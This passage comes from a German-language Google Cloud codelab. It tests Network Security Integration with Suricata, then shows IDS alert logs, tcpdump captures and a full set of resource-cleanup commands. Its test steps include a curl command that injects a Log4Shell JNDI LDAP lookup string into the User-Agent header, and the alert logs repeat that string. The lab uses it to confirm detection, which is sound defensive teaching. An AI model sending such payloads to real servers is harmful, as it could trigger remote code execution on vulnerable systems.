- Senden Sie eine log4j-Anfrage:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Erwartete Ausgabe:
000
- Zurück zu Cloud Shell wechseln, indem Sie die SSH-Sitzung beenden
exit
- SSH-Verbindung zur VM in $zonec (consumer-$zonec) herstellen
gcloud compute ssh consumer-$zonec \ --zone $zonec
- Senden Sie Test-Traffic:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Erwartete Ausgabe:
200
- Senden Sie eine log4j-Anfrage:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Erwartete Ausgabe:
200
Diese Anfrage wurde bearbeitet. Das ist zu erwarten, da Sie NSI nicht mit $zonec konfiguriert haben. Die Abfangendpunktgruppe hat nur Verknüpfungen für $zonea und $zoneb.
- Zurück zu Cloud Shell wechseln, indem Sie die SSH-Sitzung beenden
exit
Bestätigen, dass Suricata die schädlichen Anfragen empfangen und blockiert hat
- Stellen Sie eine SSH-Verbindung zur Suricata-VM in $zonea (suricata-$zonea) her, um die Logs zu prüfen:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- Rufen Sie die Logs auf und filtern Sie nach der Art des Angriffs:
cat /var/log/suricata/eve.json | grep log4j
Möglicherweise werden einige Einträge angezeigt. Wenn keine Einträge angezeigt werden, prüfen Sie die Logs für die Suricata-VM in $zoneb. Beispielausgabe:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- Zurück zu Cloud Shell wechseln, indem Sie die SSH-Sitzung beenden
exit
Optional können Sie eine SSH-Verbindung zur Suricata-VM in $zoneb (suricata-$zoneb) herstellen und die Logs prüfen.
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
Rufen Sie die Logs auf und filtern Sie nach der Art des Angriffs:
cat /var/log/suricata/eve.json | grep log4j
Beispielausgabe:
{"timestamp":"2025-01-22T19:56:59.374251+0000","flow_id":552447884886066,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.4","src_port":52072,"dest_ip":"74.125.135.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:50:07.098354+0000"}}
Außerdem sind Paketaufzeichnungen eine gute Möglichkeit, den Traffic anzusehen und zu validieren.
Mit diesem Befehl werden GENEVE-Pakete gefiltert. Beispielbefehl:
sudo tcpdump -i any -nn udp port 6081
Senden Sie nun einige Test-Traffic von einer Nutzer-VM. Beispielausgabe:
05:53:50.719074 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.719190 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 192.168.0.2.56988 > 74.125.197.105.80: Flags [S], seq 3051541109, win 65320, options [mss 1420,sackOK,TS val 1951282372 ecr 0,nop,wscale 7], length 0 05:53:50.728752 ens4 In IP 10.0.0.1.28006 > 10.0.0.11.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0 05:53:50.728785 ens4 Out IP 10.0.0.11.28006 > 10.0.0.1.6081: Geneve, Flags [none], vni 0x0, options [40 bytes]: IP 74.125.197.105.80 > 192.168.0.2.56988: Flags [S.], seq 1472275282, ack 3051541110, win 31856, options [mss 1460,sackOK,TS val 2006244508 ecr 1951282372,nop,wscale 8], length 0
Mit tcpdump können Sie die GENEVE-Header sehen. Die Quell-IP ist die des Subnetz-Gateways (10.0.0.1) und die Ziel-IP die der Weiterleitungsregel (10.0.0.11 oder 10.0.0.12). Die gekapselten Pakete enthalten die Originalpakete – die Client-IP-Adresse von consumer-$zonea (192.168.0.2) oder consumer-$zoneb (192.168.0.3) und das Ziel google.com. Das bestätigt, dass Pakete abgefangen und über die Netzwerksicherheitsintegration an das Drittanbietergerät gesendet werden.
- Zurück zu Cloud Shell wechseln, indem Sie die SSH-Sitzung beenden
exit
Glückwunsch! Sie haben eine Umgebung mit In-Band-Implementierung der Netzwerksicherheits-Integration (NSI) erfolgreich bereitgestellt und getestet.
5. Bereinigen
Verbraucher
Löschen Sie die Nutzer-VMs:
gcloud compute instances delete consumer-$zonea \ --zone $zonea -q gcloud compute instances delete consumer-$zoneb \ --zone $zoneb -q gcloud compute instances delete consumer-$zonec \ --zone $zonec -q
Firewall-Verknüpfung und ‑Richtlinie löschen:
gcloud compute network-firewall-policies associations delete \
--firewall-policy consumer-fwpolicy \
--name consumer-fwpolicy-association \
--global-firewall-policy -q
gcloud compute network-firewall-policies delete consumer-fwpolicy \
--global -q
Sicherheitsprofilgruppe und Sicherheitsprofil löschen:
gcloud network-security security-profile-groups delete nsi-spg \
--organization=$org_id \
--project=$project_id \
--location=global -q
gcloud network-security security-profiles custom-intercept delete nsi-intercept-profile \
--organization $org_id \
--location global -q
Endpunktverknüpfung und Abfang-Endpunktgruppen löschen:
gcloud network-security intercept-endpoint-group-associations delete nsi-endpoint-group-assoc \
--location global -q
gcloud network-security intercept-endpoint-groups delete nsi-endpoint-group \
--location global -q
Cloud NAT, Cloud Router und reservierte IP-Adresse löschen
gcloud compute routers nats delete consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region -q
gcloud compute routers delete consumer-$region-cr \
--region=$region -q
gcloud compute addresses delete consumer-$region-cloudnatip \
--region=$region -q
VPC und Subnetze löschen
gcloud compute networks subnets delete consumer-$region-subnet \ --region $region -q gcloud compute networks delete consumer-vpc -q
Ersteller
Abfangbereitstellungen löschen:
gcloud network-security intercept-deployments delete nsi-deployment-$zonea \
--location $zonea -q
gcloud network-security intercept-deployments delete nsi-deployment-$zoneb \
--location $zoneb -q
Löschen Sie die Bereitstellungsgruppe für das Abfangen (das Löschen von Abfangbereitstellungen muss abgeschlossen sein, bevor dieser Befehl erfolgreich ausgeführt werden kann):
gcloud network-security intercept-deployment-groups delete producer-nsi-deployment-group \
--location global -q
Weiterleitungsregeln löschen:
gcloud compute forwarding-rules delete producer-fr-$zonea \ --region=projects/$project_id/regions/$region -q gcloud compute forwarding-rules delete producer-fr-$zoneb \ --region=projects/$project_id/regions/$region -q
Reservierte IP für Weiterleitungsregel löschen:
gcloud compute addresses delete producer-fr-$zonea-ip \
--region $region -q
gcloud compute addresses delete producer-fr-$zoneb-ip \
--region $region -q
Backend-Dienst löschen:
gcloud compute backend-services delete producer-bes \ --region=projects/$project_id/regions/$region -q
Nicht verwaltete Instanzgruppen löschen:
gcloud compute instance-groups unmanaged delete producer-$zonea-uig \ --zone $zonea -q gcloud compute instance-groups unmanaged delete producer-$zoneb-uig \ --zone $zoneb -q
Systemdiagnose löschen:
gcloud compute health-checks delete nva-hc -q
Löschen Sie die Producer-VMs:
gcloud compute instances delete suricata-$zonea \ --zone $zonea -q gcloud compute instances delete suricata-$zoneb \ --zone $zoneb -q
Löschen Sie Cloud NAT, Cloud Router und die reservierte IP-Adresse:
gcloud compute routers nats delete producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region -q gcloud compute routers delete producer-$region-cr \ --region=$region -q gcloud compute addresses delete producer-$region-cloudnatip --region=$region -q
Löschen Sie die Firewallrichtlinien-Verknüpfung:
gcloud compute network-firewall-policies associations delete \
--firewall-policy producer-fwpolicy \
--name producer-fwpolicy-association \
--global-firewall-policy -q
Löschen Sie die Firewallrichtlinie:
gcloud compute network-firewall-policies delete producer-fwpolicy \ --global -q
VPC und Subnetz löschen
gcloud compute networks subnets delete producer-$region-subnet \ --region=$region -q gcloud compute networks delete producer-vpc -q
6. Glückwunsch!
Sie haben das Codelab zur In-Band-Implementierung der Netzwerksicherheits-Integration mit Suricata erfolgreich abgeschlossen.
Sehen Sie sich die anbieterspezifischen Demovideos zu NSI In-Band an:
Hier finden Sie einige anbieterspezifische Bereitstellungsanleitungen, die für Ihre Organisation relevant sein könnten: